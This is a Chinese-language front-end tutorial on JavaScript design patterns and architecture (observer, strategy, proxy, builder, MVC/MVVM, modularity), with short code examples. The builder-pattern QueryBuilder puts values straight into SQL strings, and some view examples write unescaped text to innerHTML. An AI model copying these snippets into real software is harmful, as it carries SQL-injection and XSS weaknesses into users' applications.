  emit(event, ...args) {
    if (!this.events[event]) return this;
    this.events[event].forEach(callback => callback.apply(this, args));
    return this;
  }
  
  once(event, callback) {
    const wrapper = (...args) => {
      callback.apply(this, args);
      this.off(event, wrapper);
    };
    this.on(event, wrapper);
    return this;
  }
}

// 使用
const bus = new EventEmitter();

bus.on('login', (user) => {
  console.log('用户登录:', user.name);
});

bus.on('login', (user) => {
  console.log('发送欢迎邮件给:', user.name);
});

bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三

7. 观察者模式与发布订阅模式的区别

维度 观察者模式 发布订阅模式
耦合度 主题和观察者直接耦合 通过事件中心解耦
结构 主题知道观察者的存在 发布者和订阅者互不知道
通信方式 直接调用 update() 通过事件中心转发
灵活性 较低,关系固定 较高,动态订阅/取消
典型应用 Vue 响应式、DOM 事件 EventBus、Node.js EventEmitter

选择策略

  • 需要紧密耦合、直接通知 → 观察者模式
  • 需要解耦、灵活的事件通信 → 发布订阅模式

8. 策略模式

定义

策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。

代码实现

// 策略对象
const discountStrategies = {
  normal(price) { return price; },
  vip(price) { return price * 0.9; },
  svip(price) { return price * 0.7; },
  flashSale(price) { return price * 0.5; }
};

// 上下文
class PriceCalculator {
  constructor(strategy) {
    this.strategy = strategy;
  }
  
  calculate(price) {
    return this.strategy(price);
  }
  
  setStrategy(strategy) {
    this.strategy = strategy;
  }
}

// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100

calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90

calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50

实战应用:表单验证

const validators = {
  required: (value) => value ? '' : '不能为空',
  minLength: (value, min) => 
    value.length >= min ? '' : `最少需要${min}个字符`,
  isEmail: (value) => 
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
  isPhone: (value) => 
    /^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};

function validate(rules, value) {
  for (const rule of rules) {
    const { type, ...params } = rule;
    const error = validators[type](value, ...Object.values(params));
    if (error) return error;
  }
  return '';
}

// 使用
const rules = [
  { type: 'required' },
  { type: 'minLength', min: 6 },
  { type: 'isEmail' }
];

console.log(validate(rules, ''));        // 不能为空
console.log(validate(rules, 'abc'));     // 最少需要6个字符
console.log(validate(rules, 'abc@'));    // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证

优点

  • 避免大量 if-elseswitch
  • 算法可独立变化,符合开闭原则
  • 运行时可切换策略

9. 代理模式

定义

代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。

代码实现

// 方式一:函数代理
function createProxy(target) {
  return new Proxy(target, {
    get(obj, prop) {
      console.log(`访问属性: ${prop}`);
      return prop in obj ? obj[prop] : undefined;
    },
    set(obj, prop, value) {
      console.log(`设置属性: ${prop} = ${value}`);
      obj[prop] = value;
      return true;
    }
  });
}

const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26;          // 设置属性: age = 26

// 方式二:图片懒加载代理
class RealImage {
  constructor(src) {
    this.src = src;
    this.load();
  }
  load() { console.log('加载图片:', this.src); }
  display() { console.log('显示图片:', this.src); }
}

class ProxyImage {
  constructor(src) {
    this.src = src;
    this.realImage = null;
  }
  display() {
    if (!this.realImage) {
      this.realImage = new RealImage(this.src);
    }
    this.realImage.display();
  }
}

// 方式三:API 缓存代理
function createApiProxy(apiFn) {
  const cache = {};
  return async (...args) => {
    const key = JSON.stringify(args);
    if (cache[key]) {
      console.log('使用缓存');
      return cache[key];
    }
    const result = await apiFn(...args);
    cache[key] = result;
    return result;
  };
}

应用场景

  1. Vue 3 响应式:使用 Proxy 实现数据劫持
  2. 图片懒加载:延迟加载大图片
  3. API 缓存:缓存请求结果
  4. 访问控制:权限校验代理
  5. 日志记录:记录属性访问

10. 装饰器模式

定义

装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。

代码实现

// 函数装饰器
function withLog(target) {
  return function(...args) {
    console.log('调用前:', args);
    const result = target.apply(this, args);
    console.log('调用后:', result);
    return result;
  };
}

function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3

// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
  descriptor.writable = false;
  return descriptor;
}

// 组合装饰
function withCache(ttl = 5000) {
  const cache = {};
  return function(target) {
    return function(...args) {
      const key = JSON.stringify(args);
      if (cache[key] && Date.now() - cache[key].time < ttl) {
        return cache[key].data;
      }
      const result = target.apply(this, args);
      cache[key] = { data: result, time: Date.now() };
      return result;
    };
  };
}

const expensiveCalc = (x) => {
  console.log('计算中...');
  return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);

React 高阶组件(HOC)

function withLoading(WrappedComponent) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <WrappedComponent {...props} />;
  };
}

// 使用
const EnhancedComponent = withLoading(MyComponent);

11. 适配器模式

定义

适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。

代码实现

// 旧版 API
class OldMapService {
  getLocations() {
    return [
      { lat: 39.9, lon: 116.4, name: '北京' },
      { lat: 31.2, lon: 121.5, name: '上海' }
    ];
  }
}

// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
  constructor(oldService) {
    this.oldService = oldService;
  }
  
  getLocations() {
    const data = this.oldService.getLocations();
    return data.map(item => ({
      latitude: item.lat,
      longitude: item.lon,
      title: item.name
    }));
  }
}

// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]

// Axios 适配器示例
function axiosAdapter(config) {
  if (typeof config.adapter === 'function') {
    return config.adapter(config);
  }
  // 默认使用 XHR 或 fetch
  return fetch(config.url, {
    method: config.method,
    headers: config.headers,
    body: config.data
  });
}

应用场景

  1. 新旧 API 兼容
  2. 第三方库接口统一
  3. 数据格式转换

12. 外观模式

定义

外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。

代码实现

// 子系统
class CPU {
  start() { console.log('CPU 启动'); }
  execute() { console.log('CPU 执行'); }
}

class Memory {
  load() { console.log('内存加载数据'); }
  free() { console.log('内存释放'); }
}

class Disk {
  read() { console.log('磁盘读取'); }
  write() { console.log('磁盘写入'); }
}

// 外观类
class ComputerFacade {
  constructor() {
    this.cpu = new CPU();
    this.memory = new Memory();
    this.disk = new Disk();
  }
  
  start() {
    console.log('=== 电脑启动 ===');
    this.cpu.start();
    this.memory.load();
    this.disk.read();
    this.cpu.execute();
  }
  
  shutdown() {
    console.log('=== 电脑关机 ===');
    this.disk.write();
    this.memory.free();
    this.cpu.execute();
  }
}

// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行

前端应用

// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑

// DOM 操作外观
const DOM = {
  get(selector) { return document.querySelector(selector); },
  show(el) { el.style.display = 'block'; },
  hide(el) { el.style.display = 'none'; },
  on(el, event, handler) { el.addEventListener(event, handler); },
  html(el, content) { el.innerHTML = content; }
};

13. 命令模式

定义

命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。

代码实现

class Command {
  execute() {}
  undo() {}
}

class LightOnCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.on(); }
  undo() { this.light.off(); }
}

class LightOffCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.off(); }
  undo() { this.light.on(); }
}

class Light {
  on() { console.log('灯亮了'); }
  off() { console.log('灯灭了'); }
}

class RemoteControl {
  constructor() {
    this.commands = [];
    this.history = [];
  }
  
  setCommand(index, command) {
    this.commands[index] = command;
  }
  
  pressButton(index) {
    if (this.commands[index]) {
      this.commands[index].execute();
      this.history.push(this.commands[index]);
    }
  }
  
  undo() {
    if (this.history.length > 0) {
      const lastCommand = this.history.pop();
      lastCommand.undo();
    }
  }
}

// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo();          // 灯亮了

前端应用:撤销/重做

class CommandManager {
  constructor() {
    this.undoStack = [];
    this.redoStack = [];
  }
  
  execute(command) {
    command.execute();
    this.undoStack.push(command);
    this.redoStack = [];
  }
  
  undo() {
    if (this.undoStack.length === 0) return;
    const command = this.undoStack.pop();
    command.undo();
    this.redoStack.push(command);
  }
  
  redo() {
    if (this.redoStack.length === 0) return;
    const command = this.redoStack.pop();
    command.execute();
    this.undoStack.push(command);
  }
}

14. 迭代器模式

定义

迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。

代码实现

// 自定义迭代器
class BookCollection {
  constructor() {
    this.books = [];
  }
  
  addBook(book) {
    this.books.push(book);
  }
  
  [Symbol.iterator]() {
    let index = 0;
    const books = this.books;
    return {
      next() {
        if (index < books.length) {
          return { value: books[index++], done: false };
        }
        return { value: undefined, done: true };
      }
    };
  }
}

// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');

for (const book of collection) {
  console.log(book);
}

// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
  let index = 0;
  return {
    [Symbol.iterator]() {
      return {
        next() {
          if (index < array.length && index < limit) {
            return { value: array[index++], done: false };
          }
          return { done: true };
        }
      };
    }
  };
}

15. 中介者模式

定义

中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。

代码实现

class ChatRoom {
  constructor() {
    this.users = [];
  }
  
  addUser(user) {
    this.users.push(user);
    user.setMediator(this);
  }
  
  sendMessage(message, sender) {
    this.users
      .filter(user => user !== sender)
      .forEach(user => user.receiveMessage(message, sender));
  }
}

class User {
  constructor(name) {
    this.name = name;
    this.mediator = null;
  }
  
  setMediator(mediator) {
    this.mediator = mediator;
  }
  
  sendMessage(message) {
    console.log(`${this.name} 发送: ${message}`);
    this.mediator.sendMessage(message, this);
  }
  
  receiveMessage(message, sender) {
    console.log(`${this.name} 收到 ${sender.name}: ${message}`);
  }
}

// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');

room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);

alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!

应用场景

  1. 聊天室系统
  2. 表单组件联动
  3. 多个模块间的解耦

16. 备忘录模式

定义

备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。

代码实现

class Memento {
  constructor(state) {
    this.state = state;
  }
  getState() { return this.state; }
}

class Editor {
  constructor() {
    this.content = '';
  }
  
  type(text) {
    this.content += text;
  }
  
  getContent() { return this.content; }
  
  save() {
    return new Memento(this.content);
  }
  
  restore(memento) {
    this.content = memento.getState();
  }
}

class History {
  constructor() {
    this.mementos = [];
  }
  
  push(memento) {
    this.mementos.push(memento);
  }
  
  pop() {
    return this.mementos.pop();
  }
}

// 使用
const editor = new Editor();
const history = new History();

editor.type('第');
history.push(editor.save());

editor.type('一');
history.push(editor.save());

editor.type('行');
console.log(editor.getContent()); // 第一行

editor.restore(history.pop());
console.log(editor.getContent()); // 第一

editor.restore(history.pop());
console.log(editor.getContent()); // 第

17. 状态模式

定义

状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。

代码实现

class State {
  constructor(name) { this.name = name; }
  handle(context) { throw new Error('抽象方法'); }
}

class OpenState extends State {
  constructor() { super('open'); }
  handle(context) {
    console.log('门已打开');
    context.setState(new ClosedState());
  }
}

class ClosedState extends State {
  constructor() { super('closed'); }
  handle(context) {
    console.log('门已关闭');
    context.setState(new LockedState());
  }
}

class LockedState extends State {
  constructor() { super('locked'); }
  handle(context) {
    console.log('门已锁定');
    context.setState(new OpenState());
  }
}

class Door {
  constructor() {
    this.state = new ClosedState();
  }
  
  setState(state) {
    this.state = state;
  }
  
  press() {
    this.state.handle(this);
  }
  
  getState() { return this.state.name; }
}

// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开

// 实际应用:订单状态
const orderStates = {
  pending: {
    next: 'paid',
    actions: { pay: () => '付款' }
  },
  paid: {
    next: 'shipped',
    actions: { ship: () => '发货' }
  },
  shipped: {
    next: 'delivered',
    actions: { deliver: () => '签收' }
  },
  delivered: {
    next: null,
    actions: {}
  }
};

class Order {
  constructor() { this.state = 'pending'; }
  
  transition(action) {
    const currentState = orderStates[this.state];
    if (currentState.actions[action]) {
      console.log(currentState.actions[action]());
      if (currentState.next) {
        this.state = currentState.next;
        console.log(`订单状态变更为: ${this.state}`);
      }
    } else {
      console.log(`当前状态不能执行 ${action}`);
    }
  }
}

18. 模板方法模式

定义

模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。

代码实现

class Beverage {
  // 模板方法
  prepare() {
    this.boilWater();
    this.brew();
    this.pourInCup();
    this.addCondiments();
  }
  
  boilWater() { console.log('烧开水'); }
  pourInCup() { console.log('倒入杯中'); }
  
  brew() { throw new Error('子类必须实现'); }
  addCondiments() { throw new Error('子类必须实现'); }
}

class Coffee extends Beverage {
  brew() { console.log('冲泡咖啡'); }
  addCondiments() { console.log('加糖和牛奶'); }
}

class Tea extends Beverage {
  brew() { console.log('冲泡茶叶'); }
  addCondiments() { console.log('加柠檬'); }
}

// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶

// 前端应用:页面初始化流程
class PageInitializer {
  init() {
    this.loadConfig();
    this.initComponents();
    this.bindEvents();
    this.render();
  }
  
  loadConfig() { console.log('加载配置'); }
  initComponents() { console.log('初始化组件'); }
  bindEvents() { console.log('绑定事件'); }
  render() { console.log('渲染页面'); }
}

19. 责任链模式

定义

责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。

代码实现

class Handler {
  constructor() {
    this.nextHandler = null;
  }
  
  setNext(handler) {
    this.nextHandler = handler;
    return handler;
  }
  
  handle(request) {
    if (this.nextHandler) {
      return this.nextHandler.handle(request);
    }
    return null;
  }
}

class AuthHandler extends Handler {
  handle(request) {
    if (!request.token) {
      return { success: false, message: '未认证' };
    }
    console.log('认证通过');
    return super.handle(request);
  }
}

class PermissionHandler extends Handler {
  handle(request) {
    if (!request.permissions.includes('admin')) {
      return { success: false, message: '权限不足' };
    }
    console.log('权限通过');
    return super.handle(request);
  }
}

class LogHandler extends Handler {
  handle(request) {
    console.log('记录日志:', request);
    return super.handle(request);
  }
}

class BusinessHandler extends Handler {
  handle(request) {
    console.log('处理业务逻辑');
    return { success: true, data: '业务数据' };
  }
}

// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();

auth.setNext(permission).setNext(log).setNext(business);

const result = auth.handle({
  token: 'valid-token',
  permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }

// Koa 中间件示例
function compose(middlewares) {
  return function(ctx) {
    function dispatch(index) {
      if (index >= middlewares.length) return Promise.resolve();
      const middleware = middlewares[index];
      return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
    }
    return dispatch(0);
  };
}

20. 享元模式

定义

享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。

代码实现

class FlyweightFactory {
  constructor() {
    this.flyweights = {};
  }
  
  get(key) {
    if (!this.flyweights[key]) {
      this.flyweights[key] = this.createFlyweight(key);
    }
    return this.flyweights[key];
  }
  
  createFlyweight(key) {
    return { type: key, shared: true };
  }
  
  getCount() {
    return Object.keys(this.flyweights).length;
  }
}

// 实际应用:DOM 对象池
class DOMPool {
  constructor() {
    this.pools = {};
  }
  
  getElement(tagName) {
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    const element = this.pools[tagName].pop();
    return element || document.createElement(tagName);
  }
  
  releaseElement(element) {
    const tagName = element.tagName.toLowerCase();
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    element.innerHTML = '';
    element.className = '';
    this.pools[tagName].push(element);
  }
}

// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
  if (!iconCache[name]) {
    iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
  }
  return iconCache[name];
}

21. 建造者模式

定义

建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

代码实现

class Form {
  constructor() {
    this.fields = [];
    this.title = '';
    this.action = '';
    this.method = 'POST';
  }
  
  setTitle(title) { this.title = title; return this; }
  setAction(action) { this.action = action; return this; }
  setMethod(method) { this.method = method; return this; }
  addField(field) { this.fields.push(field); return this; }
  
  build() {
    return {
      title: this.title,
      action: this.action,
      method: this.method,
      fields: this.fields
    };
  }
}

// 使用
const loginForm = new Form()
  .setTitle('登录')
  .setAction('/api/login')
  .setMethod('POST')
  .addField({ name: 'username', type: 'text', required: true })
  .addField({ name: 'password', type: 'password', required: true })
  .build();

console.log(loginForm);
// {
//   title: '登录',
//   action: '/api/login',
//   method: 'POST',
//   fields: [
//     { name: 'username', type: 'text', required: true },
//     { name: 'password', type: 'password', required: true }
//   ]
// }

// 链式调用构建查询参数
class QueryBuilder {
  constructor(table) {
    this.table = table;
    this.conditions = [];
    this._orderBy = '';
    this._limit = 0;
  }
  
  where(field, operator, value) {
    this.conditions.push(`${field} ${operator} '${value}'`);
    return this;
  }
  
  orderBy(field, direction = 'ASC') {
    this._orderBy = `ORDER BY ${field} ${direction}`;
    return this;
  }
  
  limit(n) {
    this._limit = `LIMIT ${n}`;
    return this;
  }
  
  build() {
    let sql = `SELECT * FROM ${this.table}`;
    if (this.conditions.length) {
      sql += ` WHERE ${this.conditions.join(' AND ')}`;
    }
    if (this._orderBy) sql += ` ${this._orderBy}`;
    if (this._limit) sql += ` ${this._limit}`;
    return sql;
  }
}

const query = new QueryBuilder('users')
  .where('age', '>', 18)
  .where('status', '=', 'active')
  .orderBy('created_at', 'DESC')
  .limit(10)
  .build();

console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10

22. 原型模式

定义

原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。

代码实现

class Prototype {
  constructor() {
    this.objects = {};
  }
  
  register(name, obj) {
    this.objects[name] = obj;
  }
  
  clone(name) {
    if (!this.objects[name]) {
      throw new Error(`未找到原型对象: ${name}`);
    }
    return JSON.parse(JSON.stringify(this.objects[name]));
  }
}

// 使用
const proto = new Prototype();
proto.register('user', {
  name: '匿名用户',
  age: 0,
  role: 'user',
  permissions: []
});

const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;

const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;

console.log(user1.name); // 张三
console.log(user2.name); // 李四

// Object.create 原型模式
const shape = {
  type: 'shape',
  color: 'red',
  draw() { console.log(`画一个${this.color}${this.type}`); }
};

const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形

23. 组合模式

定义

组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。

代码实现

class Component {
  constructor(name) {
    this.name = name;
    this.children = [];
  }
  
  add(component) {
    this.children.push(component);
    return this;
  }
  
  remove(component) {
    this.children = this.children.filter(c => c !== component);
  }
  
  operation(indent = 0) {
    const prefix = '  '.repeat(indent);
    console.log(`${prefix}${this.name}`);
    this.children.forEach(child => child.operation(indent + 1));
  }
}

// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');

root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);

root.operation();
// 根目录
//   文档
//     报告.doc
//   图片
//     photo.jpg

// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');

menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);

menu.operation();

24. 桥接模式

定义

桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。

代码实现

// 实现部分
class Renderer {
  renderCircle(radius) { throw new Error('抽象方法'); }
}

class CanvasRenderer extends Renderer {
  renderCircle(radius) {
    return `Canvas 绘制半径为${radius}的圆`;
  }
}

class SVGRenderer extends Renderer {
  renderCircle(radius) {
    return `SVG 绘制半径为${radius}的圆`;
  }
}

// 抽象部分
class Shape {
  constructor(renderer) {
    this.renderer = renderer;
  }
  draw() { throw new Error('抽象方法'); }
}

class Circle extends Shape {
  constructor(renderer, radius) {
    super(renderer);
    this.radius = radius;
  }
  draw() {
    console.log(this.renderer.renderCircle(this.radius));
  }
}

// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);

canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw();     // SVG 绘制半径为20的圆

二、前端架构设计

25. 前端架构 / 前端架构设计

定义

前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。

架构演进

阶段 特点 代表技术
传统多页应用 服务端渲染、页面刷新 JSP/PHP/ASP
AJAX 时代 局部刷新、前后端分离雏形 jQuery + AJAX
单页应用(SPA) 前端路由、组件化 Angular/React/Vue
组件化时代 细粒度组件、状态管理 React/Vue + Redux/Vuex
微前端 多团队协作、独立部署 qiankun/Micro App

架构设计原则

  1. 单一职责:每个模块/组件只负责一个功能
  2. 高内聚低耦合:相关功能集中,不相关功能隔离
  3. 可复用性:组件/工具可在多处使用
  4. 可扩展性:新增功能不影响现有架构
  5. 可维护性:代码结构清晰、易于理解和修改

典型前端项目架构

src/
├── api/              # API 请求层
│   ├── modules/      # 按业务模块划分
│   └── index.js      # axios 实例配置
├── assets/           # 静态资源
├── components/       # 公共组件
│   ├── common/       # 通用组件
│   └── business/     # 业务组件
├── hooks/            # 自定义 Hooks
├── layouts/          # 布局组件
├── pages/            # 页面组件
│   ├── Home/
│   └── Login/
├── router/           # 路由配置
├── store/            # 状态管理
│   ├── modules/      # 按模块划分
│   └── index.js
├── styles/           # 全局样式
│   ├── variables/    # 变量
│   └── mixins/       # 混合
├── utils/            # 工具函数
├── types/            # TypeScript 类型
└── main.js           # 入口文件

26. 如何对前端项目进行代码的组织与架构设计?

问题拆解

维度 考虑因素 方案
代码组织 项目规模、团队人数、技术栈 按功能/按类型分层
状态管理 数据复杂度、组件层级 局部状态 / Vuex / Redux / 原子化
路由设计 页面数量、嵌套层级、权限控制 按路由分模块
API 管理 接口数量、复用程度 按业务模块划分
组件设计 复用性、独立性 公共组件 / 业务组件分离

按功能分模块(推荐)

src/
├── modules/
│   ├── auth/           # 认证模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   ├── user/           # 用户模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   └── order/          # 订单模块
│       ├── components/
│       ├── pages/
│       ├── store/
│       ├── api/
│       └── routes.js
├── shared/             # 共享资源
│   ├── components/
│   ├── hooks/
│   ├── utils/
│   └── styles/
└── app.js

技术选型建议

  1. 小型项目:Vue/React + 组件库 + 简单状态
  2. 中大型项目:Vue/React + Vuex/Redux + TypeScript
  3. 微前端:qiankun + 独立子应用
  4. SSR:Nuxt.js / Next.js

27. MVC 架构

定义

MVC(Model-View-Controller)将应用分为三个部分:

  • Model(模型):数据和业务逻辑
  • View(视图):用户界面
  • Controller(控制器):处理用户输入,更新 Model 和 View

原理

用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新

代码示例

// Model
class TodoModel {
  constructor() {
    this.todos = [];
    this.listeners = [];
  }
  
  addTodo(text) {
    this.todos.push({ text, done: false });
    this.notify();
  }
  
  subscribe(listener) {
    this.listeners.push(listener);
  }
  
  notify() {
    this.listeners.forEach(l => l(this.todos));
  }
}

// View
class TodoView {
  render(todos) {
    const html = todos.map(t => 
      `<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
    ).join('');
    document.getElementById('todo-list').innerHTML = html;
  }
}

// Controller
class TodoController {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');

28. MVP 架构

定义

MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。

与 MVC 的区别

  • MVC 中 View 可以直接观察 Model
  • MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
  • Presenter 持有 View 的引用,主动更新 View

代码示例

// View(被动)
class TodoView {
  constructor(presenter) {
    this.presenter = presenter;
    this.bindEvents();
  }
  
  bindEvents() {
    document.getElementById('add-btn').addEventListener('click', () => {
      const text = document.getElementById('input').value;
      this.presenter.addTodo(text);
    });
  }
  
  render(todos) {
    document.getElementById('todo-list').innerHTML = todos
      .map(t => `<li>${t.text}</li>`)
      .join('');
  }
}

// Presenter
class TodoPresenter {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

29. MVVM 架构

定义

MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。

原理

  • 双向数据绑定:View ↔ ViewModel ↔ Model
  • 数据驱动:无需手动操作 DOM,数据变化自动更新视图

MVVM 实现

// 简易 MVVM 实现
class MVVM {
  constructor(options) {
    this.$el = document.querySelector(options.el);
    this.$data = options.data;
    this.init();
  }
  
  init() {
    this.observe(this.$data);
    this.compile(this.$el);
  }
  
  // 数据劫持
  observe(data) {
    Object.keys(data).forEach(key => {
      this.defineReactive(data, key, data[key]);
    });
  }
  
  defineReactive(obj, key, value) {
    const dep = [];
    Object.defineProperty(obj, key, {
      get() {
        if (MVVM.target && !dep.includes(MVVM.target)) {
          dep.push(MVVM.target);
        }
        return value;
      },
      set(newVal) {
        if (newVal !== value) {
          value = newVal;
          dep.forEach(watcher => watcher());
        }
      }
    });
  }
  
  // 编译模板
  compile(el) {
    const nodes = el.childNodes;
    nodes.forEach(node => {
      if (node.nodeType === 1) { // 元素节点
        const text = node.textContent;
        const matches = text.match(/\{\{(.+?)\}\}/);
        if (matches) {
          const key = matches[1].trim();
          new Watcher(this, node, key);
        }
        this.compile(node);
      }
    });
  }
}

class Watcher {
  constructor(vm, node, key) {
    this.vm = vm;
    this.node = node;
    this.key = key;
    this.update();
  }
  
  update() {
    MVVM.target = this.update.bind(this);
    this.node.textContent = this.vm.$data[this.key];
    MVVM.target = null;
  }
}

// 使用
const vm = new MVVM({
  el: '#app',
  data: { message: 'Hello MVVM!' }
});

30. MVC 与 MVVM 的区别

维度 MVC MVVM
数据绑定 单向/手动 双向/自动
View 与 Model 可通过 Controller 间接交互 完全隔离,通过 ViewModel 绑定
DOM 操作 需要手动操作 框架自动处理
适用框架 Backbone.js、Ruby on Rails Vue.js、Angular、WPF
开发效率 较低,需手动同步 较高,数据驱动

选择策略

  • 简单项目/服务端渲染 → MVC
  • 富交互/数据驱动应用 → MVVM

31. 前端分层架构

分层设计

层次 职责 示例
展示层(View) UI 渲染、用户交互 React/Vue 组件
业务逻辑层(Service) 业务规则、数据处理 服务类、工具函数
数据访问层(API/Repository) 数据请求、数据转换 Axios 封装、API 模块
状态管理层(Store) 全局状态管理 Vuex/Redux

代码组织

src/
├── views/          # 展示层:页面组件
├── components/     # 展示层:可复用组件
├── services/       # 业务逻辑层
├── repositories/   # 数据访问层
├── stores/         # 状态管理层
└── utils/          # 工具层

优点

  • 关注点分离:各层职责明确
  • 可测试性:每层可独立测试
  • 可替换性:替换某层不影响其他层

32. 前端模块化

定义

将代码拆分为独立的模块,每个模块封装特定的功能。

模块化规范演进

规范 环境 特点
IIFE 浏览器早期 立即执行函数,避免全局污染
AMD 浏览器 require.js,异步加载
CommonJS Node.js require/module.exports,同步加载
ES Modules 现代浏览器 import/export,静态分析

代码示例

// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}

// main.js
import Calculator, { PI, add } from './math.js';

// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };

// main.js
const { PI, add } = require('./math');

33. 前端组件化 / 组件化开发

定义

组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。

组件设计原则

原则 说明 示例
单一职责 一个组件只做一件事 Button 只负责按钮点击
高内聚 相关功能集中 表单组件包含验证逻辑
低耦合 组件间依赖最小化 通过 Props 传递数据
可复用 可在多处使用 通用 Input 组件
